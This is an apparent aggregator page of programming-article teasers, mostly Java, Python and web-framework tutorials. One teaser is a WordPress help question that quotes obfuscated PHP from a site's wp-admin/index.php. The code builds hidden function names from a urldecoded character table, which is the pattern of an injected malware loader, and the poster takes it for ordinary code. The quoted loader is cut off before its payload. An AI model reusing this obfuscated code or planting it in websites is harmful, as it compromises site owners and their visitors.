Java Bytecode Simplified: Part 2

Our previous article introduced bytecode and discussed what it includes. This article will delve a bit deeper into ConstantPool. Highlights Bytecode is a representation that is abstract in nature. They are fictitious codes for a fictitious machine known as the Java virtual machine. The Java virtual machine is a piece of software that interprets bytecode. … Read more

How to Convert a PDF to Text (TXT) Using Java

There is perhaps no file type more ubiquitous (by design) than the Portable Document Format (PDF). Capable of holding an impressive variety of content/object types and work seamlessly on any operating system you can think of, PDFs dominate personal and professional project landscapes as a destination format for bulky and/or specially formatted files. File types … Read more

String Data to Empower Your Similarity Search App

Milvus 2.1 comes with some significant updates, which make working with Milvus a lot easier. One of them is the support of string data type. Right now, Milvus supports data types including strings, vectors, Boolean, integers, floating-point numbers, and more. This article presents an introduction to the support of string data type. Read and learn … Read more

Count Occurrences of Each Character in a String in Python

String manipulation is one of the critical components of text data analysis. While analyzing text data, we might need to count the frequency of characters in the text. In this article, we will discuss different approaches to count occurrences of each character in a string in Python. Using For Loop and set() Function to Count … Read more

CockroachDB, Deno: Combining Technologies – DZone Web Dev

This tutorial will walk through building a simple application using Deno, backed by CockroachDB (CRDB) Serverless. Deno (pronounced dee-no) is a “modern runtime environment for JavaScript and TypeScript”, while CockroachDB Serverless offers a free startup that scales with your app. Both technologies claim quick startup times for developers, so I’d like to test them out … Read more

Build a Java Microservice With AuraDB Free

For today’s adventure, we want to build a Java microservice that connects to and interacts with graph data in a Neo4j AuraDB Free database. Our data is a trimmed-down version of the Goodreads data set, which includes the book, author, and review information. While books and authors are well-suited for a document database such as … Read more

Querydsl vs. JPA Criteria – Introduction

I’ve used JPA Criteria for many years. The main advantage is its type-safe approach (compared to JPQL), but the code is quite complicated and not always straightforward. Recently, I came across a Querydsl framework and I saw its benefits immediately. The main benefits for me are: Type-safe approach. Fluent API with SQL style – the … Read more

http – I have been getting this error when i load my wordpress websit “Deprecated: Array and string offset access syntax with curly braces is deprecated

Im seeing below error message please help me with this. Deprecated: Array and string offset access syntax with curly braces is >deprecated in /home/sr15m61mzh4d/public_html/wp-admin/index.php on line 3 this is the code $Icc1ll1l1c=”7013″; $I1lcl1cl1c=urldecode(“%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A”); $Illcc111lc=$I1lcl1cl1c{26}.$I1lcl1cl1c{6}.$I1lcl1cl1c{10}.$I1lcl1cl1c{30}.$I1lcl1cl1c{29}.$I1lcl1cl1c{26}.$I1lcl1cl1c{30}.$I1lcl1cl1c{38}.$I1lcl1cl1c{6}.$I1lcl1cl1c{18}.$I1lcl1cl1c{23}.$I1lcl1cl1c{10}.$I1lcl1cl1c{29}.$I1lcl1cl1c{10}.$I1lcl1cl1c{12}.$I1lcl1cl1c{5}.$I1lcl1cl1c{30}.$I1lcl1cl1c{2}.$I1lcl1cl1c{35}.$I1lcl1cl1c{0}.$I1lcl1cl1c{30}.$I1lcl1cl1c{29}.$I1lcl1cl1c{33}.$I1lcl1cl1c{30}.$I1lcl1cl1c{10};$Iccl11l1cl=$I1lcl1cl1c{38}.$I1lcl1cl1c{12}.$I1lcl1cl1c{23}.$I1lcl1cl1c{30}.$I1lcl1cl1c{29}.$I1lcl1cl1c{16}.$I1lcl1cl1c{18}.$I1lcl1cl1c{10}.$I1lcl1cl1c{29}.$I1lcl1cl1c{32}.$I1lcl1cl1c{35}.$I1lcl1cl1c{0}.$I1lcl1cl1c{10}.$I1lcl1cl1c{30}.$I1lcl1cl1c{0}.$I1lcl1cl1c{10}.$I1lcl1cl1c{33};$Ic1llcl1c1=$I1lcl1cl1c{38}.$I1lcl1cl1c{12}.$I1lcl1cl1c{23}.$I1lcl1cl1c{30}.$I1lcl1cl1c{29}.$I1lcl1cl1c{27}.$I1lcl1cl1c{30}.$I1lcl1cl1c{10}.$I1lcl1cl1c{29}.$I1lcl1cl1c{32}.$I1lcl1cl1c{35}.$I1lcl1cl1c{0}.$I1lcl1cl1c{10}.$I1lcl1cl1c{30}.$I1lcl1cl1c{0}.$I1lcl1cl1c{10}.$I1lcl1cl1c{33};$Icllc1l11c=$I1lcl1cl1c{38}.$I1lcl1cl1c{18}.$I1lcl1cl1c{0}.$I1lcl1cl1c{32}.$I1lcl1cl1c{10}.$I1lcl1cl1c{12}.$I1lcl1cl1c{35}.$I1lcl1cl1c{0}.$I1lcl1cl1c{29}.$I1lcl1cl1c{30}.$I1lcl1cl1c{17}.$I1lcl1cl1c{12}.$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{33};$I1l1ccl1lc=$I1lcl1cl1c{30}.$I1lcl1cl1c{24}.$I1lcl1cl1c{24}.$I1lcl1cl1c{35}.$I1lcl1cl1c{24}.$I1lcl1cl1c{29}.$I1lcl1cl1c{24}.$I1lcl1cl1c{30}.$I1lcl1cl1c{16}.$I1lcl1cl1c{35}.$I1lcl1cl1c{24}.$I1lcl1cl1c{10}.$I1lcl1cl1c{12}.$I1lcl1cl1c{0}.$I1lcl1cl1c{27}; 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$I1c1cc1lll=$I1lcl1cl1c{32}.$I1lcl1cl1c{18}.$I1lcl1cl1c{24}.$I1lcl1cl1c{23}.$I1lcl1cl1c{29}.$I1lcl1cl1c{33}.$I1lcl1cl1c{30}.$I1lcl1cl1c{10}.$I1lcl1cl1c{35}.$I1lcl1cl1c{16}.$I1lcl1cl1c{10}; $Icl11l1ccl=$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}.$I1lcl1cl1c{10}.$I1lcl1cl1c{35}.$I1lcl1cl1c{23}.$I1lcl1cl1c{35}.$I1lcl1cl1c{34}.$I1lcl1cl1c{30}.$I1lcl1cl1c{24};$Icl1llcc11=$I1lcl1cl1c{16}.$I1lcl1cl1c{24}.$I1lcl1cl1c{30}.$I1lcl1cl1c{27}.$I1lcl1cl1c{29}.$I1lcl1cl1c{5}.$I1lcl1cl1c{6}.$I1lcl1cl1c{10}.$I1lcl1cl1c{32}.$I1lcl1cl1c{31};$I1cll1lcc1=$I1lcl1cl1c{32}.$I1lcl1cl1c{18}.$I1lcl1cl1c{24}.$I1lcl1cl1c{23}.$I1lcl1cl1c{29}.$I1lcl1cl1c{32}.$I1lcl1cl1c{23}.$I1lcl1cl1c{35}.$I1lcl1cl1c{33}.$I1lcl1cl1c{30}; $Il1cl1c1cl=$I1lcl1cl1c{27}.$I1lcl1cl1c{2}.$I1lcl1cl1c{12}.$I1lcl1cl1c{0}.$I1lcl1cl1c{38}.$I1lcl1cl1c{23}.$I1lcl1cl1c{6}.$I1lcl1cl1c{10}.$I1lcl1cl1c{30};$I1l11cclcl=$I1lcl1cl1c{32}.$I1lcl1cl1c{18}.$I1lcl1cl1c{24}.$I1lcl1cl1c{23}.$I1lcl1cl1c{29}.$I1lcl1cl1c{12}.$I1lcl1cl1c{0}.$I1lcl1cl1c{12}.$I1lcl1cl1c{10}; $Icclcl11l1=$I1lcl1cl1c{32}.$I1lcl1cl1c{18}.$I1lcl1cl1c{24}.$I1lcl1cl1c{23}.$I1lcl1cl1c{29}.$I1lcl1cl1c{30}.$I1lcl1cl1c{17}.$I1lcl1cl1c{30}.$I1lcl1cl1c{32}; $Ic1lcll1c1=$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}.$I1lcl1cl1c{24}.$I1lcl1cl1c{16}.$I1lcl1cl1c{35}.$I1lcl1cl1c{33}; $I1clll11cc=$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}.$I1lcl1cl1c{12}.$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}; $Illc1cc11l=$I1lcl1cl1c{33}.$I1lcl1cl1c{32}.$I1lcl1cl1c{6}.$I1lcl1cl1c{0}.$I1lcl1cl1c{26}.$I1lcl1cl1c{12}.$I1lcl1cl1c{24}; $I1lc1l1clc=$I1lcl1cl1c{30}.$I1lcl1cl1c{17}.$I1lcl1cl1c{16}.$I1lcl1cl1c{23}.$I1lcl1cl1c{35}.$I1lcl1cl1c{26}.$I1lcl1cl1c{30}; $I1clc1l1lc=$I1lcl1cl1c{26}.$I1lcl1cl1c{12}.$I1lcl1cl1c{24}.$I1lcl1cl1c{0}.$I1lcl1cl1c{6}.$I1lcl1cl1c{5}.$I1lcl1cl1c{30}; $Icll1ccl11=$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}.$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}; $Icl1l11ccl=$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}.$I1lcl1cl1c{16}.$I1lcl1cl1c{35}.$I1lcl1cl1c{33}; $I111llclcc=$I1lcl1cl1c{33}.$I1lcl1cl1c{10}.$I1lcl1cl1c{24}.$I1lcl1cl1c{23}.$I1lcl1cl1c{30}.$I1lcl1cl1c{0}; $Icll11lc1c=$I1lcl1cl1c{12}.$I1lcl1cl1c{33}.$I1lcl1cl1c{29}.$I1lcl1cl1c{26}.$I1lcl1cl1c{12}.$I1lcl1cl1c{24}; $Ilc1c1c1ll=$I1lcl1cl1c{27}.$I1lcl1cl1c{30}.$I1lcl1cl1c{10}.$I1lcl1cl1c{30}.$I1lcl1cl1c{0}.$I1lcl1cl1c{9}; $I1lcl1l1cc=$I1lcl1cl1c{38}.$I1lcl1cl1c{34}.$I1lcl1cl1c{24}.$I1lcl1cl1c{12}.$I1lcl1cl1c{10}.$I1lcl1cl1c{30}; $Iclc11cl1l=$I1lcl1cl1c{38}.$I1lcl1cl1c{32}.$I1lcl1cl1c{23}.$I1lcl1cl1c{35}.$I1lcl1cl1c{33}.$I1lcl1cl1c{30}; $Icl11cl1cl=$I1lcl1cl1c{5}.$I1lcl1cl1c{25}.$I1lcl1cl1c{26}.$I1lcl1cl1c{12}.$I1lcl1cl1c{24}; … Read more

Creating Routes in KoaJS – DZone Web Dev

KoaJS is a minimal and flexible NodeJS web application framework. It provides a good set of features for building web and mobile applications. In this post, we will be getting started with KoaJS by creating a small application. KoaJS is an open-source framework. It is developed and maintained by the creators of the extremely popular … Read more